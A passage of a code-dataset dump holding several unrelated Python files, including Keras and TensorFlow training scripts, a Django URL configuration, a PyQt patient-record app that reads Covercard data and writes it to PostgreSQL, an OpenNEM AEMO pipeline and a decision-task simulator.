discord.Embed(colour=0X2072AA)\n profile_embed.set_author(name=f\"{user_info.name}'s Profile\", icon_url=user_info.avatar_url)\n profile_embed.set_thumbnail(url=user_info.avatar_url)\n profile_embed.add_field(name=\"STATS:\",\n value=f\"**Reputation:** {users[user]['Reputation']}\\n\"\n f\"**Kindness:** {users[user]['Kindness']}\\n\"\n f\"**Toxicness:** {users[user]['Toxicness']}\",\n inline=False)\n\n await ctx.send(embed=profile_embed)\n\nclient.run(os.getenv(\"DISCORD_TOKEN\"))\n","sub_path":"Toxic Detection/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"228688692","text":"# coding: utf-8\nimport utils\n\nsettings = utils.settings\nimport sys\nname_model = sys.argv[1].split('.')[0];\nprint(name_model)\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport warnings\nimport os\nfrom scipy.misc import imread\nfrom scipy.misc import imresize\nfrom keras import metrics\n#from __future__ import print_function\nfrom keras.models import Model\nfrom keras.layers import Input\n# for checkpoints\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers.core import Dropout,Activation,Flatten\nfrom keras.layers.convolutional import Conv2D,MaxPooling2D,UpSampling2D\nfrom keras.optimizers import SGD,RMSprop,adam\nfrom keras.utils import np_utils\n#from createModel import createModel\ndef import_from(module, name):\n module = __import__(module, fromlist=[name])\n return getattr(module, name)\nmoduleNames = [name_model] \ncreateModel = import_from(name_model, 'createModel')\n\nwarnings.filterwarnings('ignore')\n\n\n\n# Define the data source\ninputimagedata = settings['data_path'] + '/' + settings['train']['img_folder']\n#inputimagedata='/media/vahid/96CC807ACC805701/kevin2018/segmentationandRCNN/ParentChildRootImages/segnet/input'\n#inputimagedata=inputimagedata.replace('\\\\', '/')\nmaskedimagedata = settings['data_path'] + '/' + settings['train']['lbl_folder']\n#maskedimagedata='/media/vahid/96CC807ACC805701/kevin2018/segmentationandRCNN/ParentChildRootImages/segnet/label'\n#maskedimagedata=maskedimagedata.replace('\\\\','/')\nimport os\ncwd = os.getcwd()\n\nimport glob\nnum_images = len(glob.glob(inputimagedata + '/*.' + settings['train']['img_ext']));\n#name_model = settings['name_model'];\n\ntry:\n os.stat(name_model)\nexcept:\n os.mkdir(name_model) \n\npatch_size = settings['patch_size'];\nimg_size = settings['image_size'];\n\n#s=1000;\n# Define the preprocessing algorithm\ndef downsample_flatten1(imagefoldername,maskfoldername,noimage,nchannels,patch_size,img_size):\n print(patch_size)\n if patch_size != 0:\n train_input=np.empty([noimage,patch_size*patch_size*nchannels])\n train_ouput=np.empty([noimage,patch_size*patch_size*1])\n else:\n train_input=np.empty([noimage,img_size*img_size*nchannels])\n train_ouput=np.empty([noimage,img_size*img_size*1])\n\n\n \n\n filelist=os.listdir(imagefoldername)\n count=0\n for file in filelist:\n image_name = file.split('.')[0]\n \n\n imagepath= imagefoldername + '/' + image_name + '.' + settings['train']['img_ext']\n img=imread(imagepath)\n if patch_size != 0:\n img1=imresize(img,(patch_size,patch_size,3));\n else:\n img1=img;\n I2=img1.flatten()\n train_input[count,:]=I2\n\n imagepath= maskfoldername + '/' + image_name + '.' + settings['train']['lbl_ext']\n img=imread(imagepath)\n if patch_size != 0:\n img1=imresize(img,(patch_size,patch_size,1));\n else:\n img1=img;\n I2=img1.flatten()\n train_ouput[count,:]=I2\n\n\n count=count+1\n return train_input,train_ouput\n \n\n \n# Preprocess the image and flatten \nXa,Y =downsample_flatten1(inputimagedata,maskedimagedata,num_images,3,patch_size,img_size)\n#Y =downsample_flatten2(maskedimagedata,3405,1) \n\n# Manually split the data for training and testing \nnum_test_img = int(np.floor(num_images * settings['train']['percent_test_img']/100));\nx_train=Xa[num_test_img:,:]\nx_test=Xa[:num_test_img,:]\ny_train=Y[num_test_img:,:]\ny_test=Y[:num_test_img,:]\npatch_size = settings['patch_size'];\n \n# Input rows, cols, no of channels\nif patch_size != 0: \n img_rows=patch_size;\n img_cols=patch_size;\nelse:\n img_rows=img_size;\n img_cols=img_size;\n \nimg_channels=3\nimg_channels_Y=1\n\n# Normalize the images\nx_train_label = y_train.astype('float32') / 255.0\nx_test_label = y_test.astype('float32') / 255.0\nx_train = x_train.astype('float32') / 255.0\nx_test = x_test.astype('float32') / 255.0\n\n# restore the original shape from the flatten vector\nx_train=x_train.reshape(x_train.shape[0],img_rows,img_cols,img_channels)\nx_test=x_test.reshape(x_test.shape[0],img_rows,img_cols,img_channels)\nx_train_label=x_train_label.reshape(x_train_label.shape[0],img_rows,img_cols,img_channels_Y)\nx_test_label=x_test_label.reshape(x_test_label.shape[0],img_rows,img_cols,img_channels_Y)\n\nprint(x_train.shape)\nprint(x_test.shape)\n\n# visualize the input and labeled images for sanity check\n'''\nn = 5\nplt.figure(figsize=(10, 4.5))\nfor i in range(n):\n # plot labeled image\n ax = plt.subplot(2, n, i + 1)\n plt.imshow(x_test_label[i].reshape(s, s))\n plt.gray()\n ax.get_xaxis().set_visible(True)\n ax.get_yaxis().set_visible(True)\n if i == n/2:\n ax.set_title('Labeled Images')\n\n # plot original image \n ax = plt.subplot(2, n, i + 1 + n)\n plt.imshow(x_test[i].reshape(s, s,3))\n plt.gray()\n ax.get_xaxis().set_visible(True)\n ax.get_yaxis().set_visible(True)\n if i == n/2:\n ax.set_title('Orinigal Images')\n'''\n# Define the deep autoencoder model\n\nloss_func = settings['train']['loss'];\noptimizer_fun = settings['train']['optimizer'];\nautoencoder = createModel(img_rows, img_cols, img_channels);\nautoencoder.compile(optimizer=optimizer_fun, loss=loss_func,metrics=['accuracy'])\n\nnum_epochs = settings['train']['nb_epochs'];\nnum_batch = settings['train']['batch_size'];\n# Define hyerperparameters batch_size\nhistory=autoencoder.fit(x_train, x_train_label, verbose=1,epochs=num_epochs,shuffle=True,\n validation_data=(x_test, x_test_label),batch_size=num_batch)\n\n\n\nautoencoder.save_weights(cwd+'/'+name_model+'/'+name_model+'.h5');\n\n# save the model performace history for later visualization\nloss_history = history.history[\"loss\"]\nnumpy_loss_history = np.array(loss_history)\n\nnp.savetxt(cwd+'/'+name_model+'/'+name_model+'.txt', numpy_loss_history, delimiter=\",\");\n\nplt.figure()\nprint(history.history.keys())\n'''\n# plot the history for accuracy\nplt.plot(history.history['categorical_accuracy'])\nplt.plot(history.history['val_categorical_accuracy'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\nplt.figure()\n# plot the history for loss\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n\n'''\n","sub_path":"autoencoder/trainTassel.py","file_name":"trainTassel.py","file_ext":"py","file_size_in_byte":6373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"476311819","text":"from django.conf import settings\nfrom django.conf.urls.defaults import *\nfrom django.contrib import admin\nfrom django.views.generic.simple import redirect_to, direct_to_template\nfrom django.views.decorators.cache import cache_page\nfrom django.contrib.sitemaps import views as sitemaps_views\n\nfrom planet import views as planet_views\nfrom hitcount.views import update_hit_count_ajax\nfrom backlinks.trackback.server import TrackBackServer\nfrom backlinks.pingback.server import default_server\nfrom voting.views import vote_on_object\n\nfrom knesset import feeds\nfrom knesset.sitemap import sitemaps as sitemaps_dict\nfrom knesset.mks.urls import mksurlpatterns\nfrom knesset.laws.urls import lawsurlpatterns\nfrom knesset.committees.urls import committeesurlpatterns\nfrom knesset.mks.views import get_mk_entry, mk_is_backlinkable\nfrom knesset.laws.models import Bill\n\nfrom knesset.auxiliary.views import (main, post_annotation, post_details,\n RobotsView, AboutView, CommentsView, add_tag_to_object,\n remove_tag_from_object, create_tag_and_add_to_item, help_page,\n TagList, TagDetail)\n\nfrom knesset.feeds import MainActionsFeed\n\nfrom settings import LONG_CACHE_TIME\n\nadmin.autodiscover()\n\njs_info_dict = {\n 'packages': ('knesset',),\n}\n\n# monkey patching the planet app\nplanet_views.post_detail = post_details\n\nurlpatterns = patterns('',\n\n url(r'^$', main, name='main'),\n (r'^topic/(?P(.*))', redirect_to, {'url': '/committee/topic/%(tail)s'}),\n url(r'^about/$', AboutView.as_view(), name='about'),\n (r'^robots\\.txt$', RobotsView.as_view()),\n (r'^api/', include('knesset.api.urls')),\n (r'^agenda/', include('knesset.agendas.urls')),\n (r'^users/', include('knesset.user.urls')),\n (r'^badges/', include('knesset.badges.urls')),\n url(r'', include('social_auth.urls')),\n url(r'^help/$', help_page, name=\"help\"),\n (r'^admin/', include(admin.site.urls)),\n (r'^comments/$', CommentsView.as_view()),\n url(r'^comments/delete/(?P\\d+)/$', 'knesset.utils.delete', name='comments-delete-comment'),\n url(r'^comments/post/','knesset.utils.comment_post_wrapper',name='comments-post-comment'),\n (r'^comments/', include('django.contrib.comments.urls')),\n (r'^jsi18n/$', 'django.views.i18n.javascript_catalog', js_info_dict),\n #(r'^search/', include('haystack.urls')),\n url(r'^search/', 'knesset.auxiliary.views.search', name='site-search'),\n url(r'^feeds/$', MainActionsFeed(), name='main-actions-feed'),\n (r'^feeds/comments/$', feeds.Comments()),\n (r'^feeds/votes/$', feeds.Votes()),\n (r'^feeds/bills/$', feeds.Bills()),\n #(r'^sitemap\\.xml$', redirect_to, {'url': '/static/sitemap.xml'}),\n url(r'^sitemap\\.xml$',\n cache_page(LONG_CACHE_TIME)(sitemaps_views.index),\n {'sitemaps': sitemaps_dict, 'sitemap_url_name': 'sitemaps'},\n name='sitemap'),\n url(r'^sitemap-(?P
.+)\\.xml$',\n cache_page(LONG_CACHE_TIME)(sitemaps_views.sitemap),\n {'sitemaps': sitemaps_dict},\n name='sitemaps'),\n (r'^planet/', include('planet.urls')),\n url(r'^ajax/hit/$', update_hit_count_ajax, name='hitcount_update_ajax'),\n (r'^annotate/write/$', post_annotation, {}, 'annotatetext-post_annotation'),\n (r'^annotate/', include('annotatetext.urls')),\n (r'^avatar/', include('avatar.urls')),\n url(r'^pingback/', default_server, name='pingback-server'),\n url(r'^trackback/member/(?P\\d+)/$', TrackBackServer(get_mk_entry, mk_is_backlinkable),name='member-trackback'),\n (r'^act/', include('actstream.urls')),\n url(r'^tags/(?P\\w+)/(?P\\w+)/(?P\\d+)/add-tag/$', add_tag_to_object, name='add-tag-to-object'),\n url(r'^tags/(?P\\w+)/(?P\\w+)/(?P\\d+)/remove-tag/$', remove_tag_from_object),\n url(r'^tags/(?P\\w+)/(?P\\w+)/(?P\\d+)/create-tag/$', create_tag_and_add_to_item, name='create-tag'),\n url(r'^tags/$', TagList.as_view(), name='tags-list'),\n url(r'^tags/(?P.*)$', TagDetail.as_view(), name='tag-detail'),\n url(r'^uservote/bill/(?P\\d+)/(?P\\-?\\d+)/?$',\n vote_on_object, dict(model=Bill, template_object_name='bill',\n template_name='laws/bill_confirm_vote.html',\n allow_xmlhttprequest=True),\n name='vote-on-bill'),\n (r'^video/', include('knesset.video.urls')),\n (r'^mmm-documents/', include('mmm.urls')),\n)\nurlpatterns += mksurlpatterns + lawsurlpatterns + committeesurlpatterns\nif settings.LOCAL_DEV:\n urlpatterns += patterns('django.views',\n (r'^static/(?P.*)' , 'static.serve',\n {'document_root': settings.MEDIA_ROOT}),\n )\n","sub_path":"src/knesset/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"389280171","text":"import numpy as np\nimport cv2\n\n#Creamos un objeto que iniciará la captura de video en la primera entrada disponible (la 0)\n\ncap = cv2.VideoCapture(0)\n#Iniciamos un bucle continua\nwhile(True):\n #Dos objetos irán grabando las imágenes del objeto cap\n ret, frame = cap.read()\n\n # Especificamos el tipo de color (existen decenas) que queremos mostrar de la captura de frame y lo asignamos a un objeto que llamamos marco\n marco = cv2.cvtColor(frame, cv2.COLOR_RGB2RGBA)\n\n # Mostramos el marco de ventana con el título \"Hola Mundo\" con el objeto \"marco\" dentro\n cv2.imshow('Hola Mundo',marco)\n\n #el procedimiento waitKey comprueba si se ha pulsado la tecla 'q'\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# Si se ha roto el bucle, procedemos a destruir la ventana y finalizar el programa\ncap.release()\ncv2.destroyAllWindows()","sub_path":"unique/prue.py","file_name":"prue.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"99797901","text":"import tensorflow as tf\nimport pandas as pd\n\n# using reshape\n\n# define data\n# (independant, dependant), _ = tf.keras.datasets.mnist.load_data()\n(mnist_x, mnist_y), _ = tf.keras.datasets.mnist.load_data()\nindependant = mnist_x.reshape(60000, 784) # change img data to table, x = 28, y = 28, xy = 728 pixels\ndependant = pd.get_dummies(independant)\nprint(mnist_x, dependant)\n\n# define model\nx = tf.keras.layers.Input(shape=[784])\nh = tf.keras.layers.Dense(84, activation='swish')(x)\ny = tf.keras.layers.Dense(10, activation='softmax')(x)\nmodel = tf.keras.models.Model(x, y)\nmode.compile(loss='categorical_crossentropy', metrics='accuracy')\n\n# learning model\nmodel.fit(independant, dependant, epochs=10)\n\n# using model\npredict = model.predict(independant[:5])\nprint(pd.DataFrame(pred).round(2))\nprint(dependant[:5])\n\n\n\n# using flatten\n(mnist_x, mnist_y), _ = tf.keras.layers.datasets.mnist.load_data()\ndependant = pd.get_dummies(mnist_y)\nprint(mnist_x.shape, dependant.shape)\n\n# define model\nx = tf.keras.layers.Input(shape=[28, 28]) # x, y\nh = tf.keras.layers.Flatten()(x) # 영상을 일차원으로 바꿔주는 레이어\nh = tf.keras.layers.Dense(84, activation='swish')(h)\ny = tf.keras.layers.Dense(10, activation='softmax')(h)\nmodel = tf.keras.models.Model(x, y)\nmodel.compile(loss='categorical_crossentropy', metrics='accuracy')\n\n# learning model\nmodel.fit(mnist_x, dependant, epochs=10)\n\n# using model\npredict = model.predict(mnist_x[:5])\nprint(pd.DataFrame(predict).round(2))\nprint(dependant[:5])\n","sub_path":"img_set_tuto/img_flatten.py","file_name":"img_flatten.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"320516630","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import *\n\nX_train, X_test, Y_train, Y_test = np.load('./models/book_data_max_6772_size_214146.npy', allow_pickle=True)\n\nprint(X_train.shape)\nprint(X_test.shape)\nprint(Y_train.shape)\nprint(Y_test.shape)\n\nmodel = Sequential()\n# embedding = 벡터라이징\nmodel.add(Embedding(214146, 100, input_length=6772)) # embedding(단어의 개수, 차원)\nmodel.add(Conv1D(32, kernel_size=5, padding='same', activation='relu'))\nmodel.add(MaxPooling1D(pool_size=1))\nmodel.add(LSTM(128, activation='tanh', return_sequences=True)) # 문자열 해당, return...=True 다른 lstm을 더 사용하기 위해\nmodel.add(Dropout(0.3))\nmodel.add(LSTM(64, activation='tanh', return_sequences=True))\nmodel.add(Dropout(0.3))\nmodel.add(LSTM(64, activation='tanh'))\nmodel.add(Dropout(0.3))\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dense(23, activation='softmax'))\nprint(model.summary())\n\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\nfit_hist = model.fit(X_train, Y_train, batch_size=100, epochs=8, validation_data=(X_test, Y_test))\nscore = model.evaluate(X_test, Y_test)\n# print(score[1])\nmodel.save('./models/book_model.h5'.format(score[1]))","sub_path":"pj3/py_file/modeling.py","file_name":"modeling.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"375860893","text":"#!/usr/bin/env python\n\n# Based largely on:\n# http://ericholscher.com/blog/2009/jun/29/enable-setuppy-test-your-django-apps/\n\nimport os, sys\nos.environ['DJANGO_SETTINGS_MODULE'] = 'settings'\n\ntest_dir = os.path.dirname(__file__)\nsys.path.insert(0, test_dir)\n\nfrom django.test.utils import get_runner\nfrom django.conf import settings\n\n\ndef runtests():\n test_runner_class = get_runner(settings)\n test_runner = test_runner_class(verbosity=1, interactive=True)\n failures = test_runner.run_tests([\"django_recurly\"])\n sys.exit(failures)\n\nif __name__ == '__main__':\n runtests()\n","sub_path":"django_recurly/runtests.py","file_name":"runtests.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"613369383","text":"import sys\nimport PyQt5.QtWidgets as widgets\nimport PyQt5.uic as uic\nimport PyQt5.QtGui as gui\nimport PyQt5.QtCore as core\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport psycopg2\n\nimport datetime\n\nfrom PyQt5.QtWidgets import (QMdiArea)\n\napp = widgets.QApplication(sys.argv)\nw = uic.loadUi(\"start100.ui\")\ncovercard = uic.loadUi(\"covercard.ui\")\n#mdi = uic.loadUi(\"mdiTest.ui\")\n\ndef getdatafromURL():\n def getKKnr():\n var = input(\"KK Nummer hier: \")\n return var;\n\n var = getKKnr()\n url = \"http://covercard.hin.ch/covercard/servlet/ch.ofac.ca.covercard.CaValidationHorizontale?type=XML&langue=1&carte=\" + var + \"&ReturnType=STPLUS\"\n content = requests.get(url)\n soup = BeautifulSoup(content.text,\"lxml\")\n\n return soup;\n\n\ndef ClickCovercard():\n def getdatafromURL():\n covercardnummer = covercard.lineEditCovercardEingabe.text()\n url = \"http://covercard.hin.ch/covercard/servlet/ch.ofac.ca.covercard.CaValidationHorizontale?type=XML&langue=1&carte=\" + covercardnummer + \"&ReturnType=STPLUS\"\n content = requests.get(url)\n soup = BeautifulSoup(content.text, \"lxml\")\n return soup;\n\n soup = getdatafromURL()\n print(\"Data richtig gelesen\")\n\n data = {\n \"KK-Nummer\": soup.client.attrs['insuredpersonnumber'],\n \"AHV-Nummer\": soup.client.attrs['cardholderidentifier'],\n \"Vorname\": soup.find(name='first-name').string,\n \"Nachname\": soup.find(name='last-name').string,\n \"Geburtstag\": soup.find(name='birth-date').string,\n \"Adresse\": soup.find(name='street').string,\n \"PLZ\": soup.find(name=\"zip\").string,\n \"Ort\": soup.find(name=\"city\").string\n\n }\n\n covercard.lineEditNachname.setText(soup.find(name='last-name').string)\n covercard.lineEditVorname.setText(soup.find(name='first-name').string)\n covercard.lineEditAHV.setText(soup.client.attrs['cardholderidentifier'])\n covercard.lineEditCovercardNr.setText(soup.client.attrs['insuredpersonnumber'])\n geb = soup.find(name='birth-date').string\n gebConvert=datetime.datetime.strptime(geb,'%Y-%m-%d').strftime('%d.%m.%Y')\n #w.lineEditGeb.setText(soup.find(name='birth-date').string)\n covercard.lineEditGeb.setText(gebConvert)\n covercard.lineEditStrasse.setText(soup.find(name='street').string)\n covercard.lineEditPlz.setText(soup.find(name='zip').string)\n covercard.lineEditOrt.setText(soup.find(name='city').string)\n testNachname = covercard.lineEditNachname.setText(soup.find(name='last-name').string)\n print(data)\n print(data['Nachname'])\n\n\n\n\ndef DiaglocCovercard():\n covercard.show()\n\ndef ClickSpeichern(self):\n\n print(\"speichern\")\n # ClickCovercard()\n nachname = covercard.lineEditNachname.text()\n vorname = covercard.lineEditVorname.text()\n KK = covercard.lineEditCovercardNr.text()\n sql = \"\"\"\n INSERT INTO test080317.patient (nachname,vorname,\"KK_nummer\") \n VALUES (%s,%s,%s) RETURNING test080317.patient.\"patient_id\"\n \"\"\"\n print(sql)\n\n #print(data)\n\n # Connect to database using config function above\n # TODO: use configparser to put login info in separated file\n conn = psycopg2.connect(host=\"localhost\", port=5432, dbname='mm-khanh', user='mm-khanh', password='')\n print('Connected to database')\n # Create a cursor\n cur = conn.cursor()\n # Insert the data into table: patient\n # and request the patient_id\n #id = cur.execute(sql, (data['Nachname'], data['Vorname'], data['KK-Nummer']))\n id = cur.execute(sql, (nachname, vorname,KK))\n # commit the changes to the database\n conn.commit()\n\n\n\ncovercard.pushButtonXmlLesen.clicked.connect(ClickCovercard)\nw.actionCovercard.triggered.connect(DiaglocCovercard)\n\ncovercard.pushButtonSpeichern.clicked.connect(ClickSpeichern)\n\nw.show()\n\n\nsys.exit(app.exec_())","sub_path":"Python_script/GUI/start100.py","file_name":"start100.py","file_ext":"py","file_size_in_byte":3817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"120106934","text":"import logging\nfrom datetime import datetime\nfrom itertools import groupby\nfrom typing import Optional\n\nfrom opennem.utils.pipelines import check_spider_pipeline\n\nlogger = logging.getLogger(__name__)\n\n\nclass AEMOMMSDudetailSummaryGrouper(object):\n def parse_date(self, date_string: str) -> Optional[datetime]:\n \"\"\"\n\n `25/10/1998 12:00:00 am` => d\n\n \"\"\"\n date_string_components = date_string.strip().split(\" \")\n\n if len(date_string_components) < 2:\n raise Exception(\"Error parsing date: {}\".format(date_string))\n\n date_part = date_string_components[0]\n\n dt = None\n\n try:\n dt = datetime.strptime(date_part, \"%Y/%m/%d\")\n except ValueError:\n raise Exception(\"Error parsing date: {}\".format(date_string))\n\n # AEMO sets dates to this value when they mean None\n # if dt.year == 2999:\n # return None\n\n return dt\n\n @check_spider_pipeline\n def process_item(self, item, spider=None):\n\n if not \"tables\" in item:\n logger.error(item)\n raise Exception(\"No tables passed to pipeline\")\n\n tables = item[\"tables\"]\n table = tables.pop()\n\n records = table[\"records\"]\n\n records = [\n {\n \"date_start\": self.parse_date(i[\"START_DATE\"]),\n \"date_end\": self.parse_date(i[\"END_DATE\"]),\n \"DUID\": i[\"DUID\"],\n \"REGIONID\": i[\"REGIONID\"],\n \"STATIONID\": i[\"STATIONID\"],\n \"PARTICIPANTID\": i[\"PARTICIPANTID\"],\n \"DISPATCHTYPE\": i[\"DISPATCHTYPE\"]\n # \"DUID\": i[\"DUID\"],\n # **i,\n }\n for i in records\n # if i[\"DISPATCHTYPE\"] == \"GENERATOR\"\n ]\n\n grouped_records = {}\n\n # First pass sorts facilities into stations\n for k, v in groupby(records, lambda x: (x[\"STATIONID\"], x[\"DUID\"])):\n key = k[0]\n duid = k[1]\n if not key in grouped_records:\n grouped_records[key] = {}\n grouped_records[key][\"id\"] = k[0]\n # grouped_records[key][\"participant\"] = v[0][\"PARTICIPANTID\"]\n grouped_records[key][\"details\"] = {}\n grouped_records[key][\"facilities\"] = []\n\n if not duid in grouped_records[key][\"details\"]:\n grouped_records[key][\"details\"][duid] = []\n\n grouped_records[key][\"details\"][duid] += list(v)\n\n # Second pass flatten the records and we should get start and end dates and a derived status\n for rec in grouped_records.keys():\n for facility_group, facility_group_records in grouped_records[rec][\n \"details\"\n ].items():\n\n date_end_min = min(\n facility_group_records, key=lambda x: x[\"date_end\"]\n )\n date_end_max = max(\n facility_group_records, key=lambda x: x[\"date_end\"]\n )\n date_start_min = min(\n facility_group_records, key=lambda x: x[\"date_start\"]\n )\n\n # print(date_end_min, date_start_min, date_end_max)\n\n grouped_rec = {\n **date_end_max,\n \"date_start\": date_start_min[\"date_start\"],\n }\n\n if grouped_rec[\"date_end\"].year == 2999:\n grouped_rec[\"date_end\"] = None\n\n grouped_records[rec][\"facilities\"].append(grouped_rec)\n\n grouped_records = [\n {\"id\": i, \"facilities\": v[\"facilities\"]}\n for i, v in grouped_records.items()\n ]\n\n return grouped_records\n","sub_path":"opennem/pipelines/nem/mms_dudetailsummary.py","file_name":"mms_dudetailsummary.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"107279136","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 2 10:36:02 2019\n\n@author: Zhewei Zhang\n\nSure task adapted from Kiani 2009\n\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport copy\nimport numpy as np\nfrom .tools import obj2base64, base642obj\n\n\nclass Task:\n \"\"\"\n Daw two step task\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Warning:\n 1. here we assume that the model will have a perfect after-choice behavior!\n changing choice behavior is excluded from analysis!\n \"\"\"\n self.states_pool = []\n self.time_step = -1\n self.trial_length = 16\n# self.trial_length = 17\n self.trial_end = None\n self.reward = None\n self.completed = None\n self.choice = None\n self.chosen = None\n\n self.modality = None\n self.directions = None\n self.estimates = None\n\n self.action_step = [11,12,13]\n self.targets = [1,2]\n self.about_choice = [20,21,22,23]\n self.about_reward = [24,25]\n \n self.interrupt_states = [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1]]\n self.completed_states = [\n [0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1],\n ]\n self.corr_num = 0\n self.wrong_num = 0\n\n\n def configure(self, trial_data, settings):\n \"\"\"\n specific for each trial, or reset the parameters at the beginning of each trial\n :param trial_data: np.ndarry with shape (time, channels)\n :param settings:\n :return:\n \"\"\"\n self.states_pool = trial_data[0].tolist()\n self.completed = None\n self.trial_end = False\n self.reward = None\n self.time_step = -1\n \n self.choice = None\n self.chosen = None\n self.modality = settings[\"modality\"]\n self.directions = settings[\"directions\"]\n self.estimates = settings[\"estimates\"]\n\n def step(self, action):\n \"\"\"\n :param action: a number in (0,1,2,3): fix on fixation point, left, right, other positions\n :return: trial_end, next sensory_inputs\n \"\"\"\n self.time_step += 1\n# print(self.time_step)\n# print(action)\n if len(action) != 1 or not(action[0] in (0, 1, 2, 3)):\n self.states_pool = copy.deepcopy(self.interrupt_states)\n else:\n action = action[0]\n if not (self.time_step in self.action_step):# choice has not been made\n if action == 0: # fixate, keep silent\n pass\n elif action == 3 and (self.time_step in [0, 1] or self.time_step > self.action_step[-1]):\n pass\n else:\n# print(self.time_step)\n self.states_pool = copy.deepcopy(self.interrupt_states)\n \n elif self.time_step == self.action_step[0]:# choice has not been made\n if action == 0 or action == 3: # fixate, keep silent\n self.states_pool = copy.deepcopy(self.interrupt_states)\n elif action == 1:\n reward = True if self.directions>90 else False\n elif action == 2:\n reward = True if self.directions<90 else False\n if self.directions == 90:\n reward = True if np.random.rand()>0 else False\n \n if action == 1 or action == 2:\n self.choice = action\n self.reward = reward\n self.chosen = True\n state_ = copy.deepcopy(self.completed_states)\n state_[1][self.targets[action-1]]=1\n for i in [0,1,2]:# about action\n state_[i][self.about_choice[action]]=1\n if reward == 1:# about reward\n for i in [2,3]:\n state_[i][self.about_reward[0]]=1\n else:\n for i in [2,3]:\n state_[i][self.about_reward[1]]=1\n self.states_pool = copy.deepcopy(state_)\n \n elif self.time_step in self.action_step[1:]:# choice has not been made\n if action == self.choice:\n pass\n else:\n self.reward = None\n self.states_pool = copy.deepcopy(self.interrupt_states)\n else:\n raise BaseException(\"Wrong time step index!\")\n try:\n next_sensory_inputs = self.states_pool.pop(0)\n if len(self.states_pool) == 0:\n self.trial_end = True\n if self.time_step == self.trial_length:\n self.completed = True\n else:\n self.reward = None\n return self.trial_end, next_sensory_inputs\n except IndexError:\n print(\"Wrong States Pool! Find Out Your Fucking Task Dynamic Error & Fix It!!!\")\n\n def reset_configuration(self):\n \n self.time_step = -1\n self.trial_end = False\n self.completed = None\n self.reward = None\n self.states_pool = []\n \n self.choice = None\n self.chosen = None\n self.modality = None\n self.directions = None\n self.estimates = None\n\n\n\n def extract_trial_abstractb64(self):\n info = {\n \"choice\": self.choice,\n \"chosen\": self.chosen,\n \"reward\": self.reward,\n \"completed\": self.completed,\n \"modality\": self.modality,\n \"directions\": self.directions,\n \"estimates\": self.estimates\n\n }\n return obj2base64(info)\n\n def is_winning(self):\n \"\"\"\n This allows the agent to know if this trial is wined\n :return: 1 if win else 0\n \"\"\"\n# print(self.trial_reward)\n if self.reward:\n return 1\n else:\n return 0\n\n def is_completed(self):\n \"\"\"\n This allows the agent to know if this trial is wined\n :return: 1 if win else 0\n \"\"\"\n return 1 if self.completed else 0\n\nclass TrainingHelper:\n \"\"\"\n helper in training process\n \"\"\"\n\n def __init__(self, training_set, training_conditions):\n self.training_set = training_set\n self.training_guide = training_conditions[\"training_guide\"]\n\nclass ValidationHelper:\n \"\"\"\n helper in training process\n \"\"\"\n\n def __init__(self, validation_set, validation_conditions):\n self.validation_set = validation_set\n self.validation_conditions = ValidationConditionList(validation_conditions)\n\n\nclass ValidationConditionList:\n def __init__(self, validation_conditions):\n self.directions = validation_conditions[\"direction\"]\n self.estimates = validation_conditions[\"estimate\"]\n self.modality = validation_conditions[\"modality\"]\n def __getitem__(self, item):\n if isinstance(item, int):\n if item <= self.directions.size:\n return {\"directions\": 